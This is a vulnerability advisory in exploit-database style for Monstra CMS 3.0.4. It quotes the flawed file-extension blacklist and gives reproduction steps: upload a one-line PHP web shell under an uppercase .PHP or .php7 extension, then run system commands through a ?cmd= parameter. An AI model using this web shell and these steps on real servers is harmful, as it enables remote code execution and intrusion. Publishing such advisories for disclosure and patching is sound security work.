Monstra CMS 3.0.4 - (Authenticated) Arbitrary File Upload / Remote Code Execution

Exploit Title: Monstra CMS - 3.0.4 RCE
Vendor Homepage: http://monstra.org/
Software Link:
https://bitbucket.org/Awilum/monstra/downloads/monstra-3.0.4.zip
Discovered by: Ishaq Mohammed
Contact: https://twitter.com/security_prince
Website: https://about.me/security-prince
Category: webapps
Platform: PHP
Advisory Link: https://blogs.securiteam.com/index.php/archives/3559

Description:

MonstraCMS 3.0.4 allows users to upload arbitrary files which leads to a
remote command execution on the remote server.

Vulnerable Code:

https://github.com/monstra-cms/monstra/blob/dev/plugins/box/filesmanager/filesmanager.admin.php
line 19:

 public static function main()
    {
        // Array of forbidden types
        $forbidden_types = array('html', 'htm', 'js', 'jsb', 'mhtml', 'mht',
                                 'php', 'phtml', 'php3', 'php4', 'php5',
'phps',
                                 'shtml', 'jhtml', 'pl', 'py', 'cgi', 'sh',
'ksh', 'bsh', 'c', 'htaccess', 'htpasswd',
                                 'exe', 'scr', 'dll', 'msi', 'vbs', 'bat',
'com', 'pif', 'cmd', 'vxd', 'cpl', 'empty');

Proof of Concept
Steps to Reproduce:

1. Login with a valid credentials of an Editor
2. Select Files option from the Drop-down menu of Content
3. Upload a file with PHP (uppercase)extension containing the below code: (EDB Note: You can also use .php7)

           <?php

 $cmd=$_GET['cmd'];

 system($cmd);

 ?>

4. Click on Upload
5. Once the file is uploaded Click on the uploaded file and add ?cmd= to
the URL followed by a system command such as whoami,time,date etc.


Recommended Patch:
We were not able to get the vendor to respond in any way, the software
appears to have been left abandoned without support – though this is not an
official status on their site (last official patch was released on
2012-11-29), the GitHub appears a bit more active (last commit from 2 years
ago).

The patch that addresses this bug is available here:
 https://github.com/monstra-cms/monstra/issues/426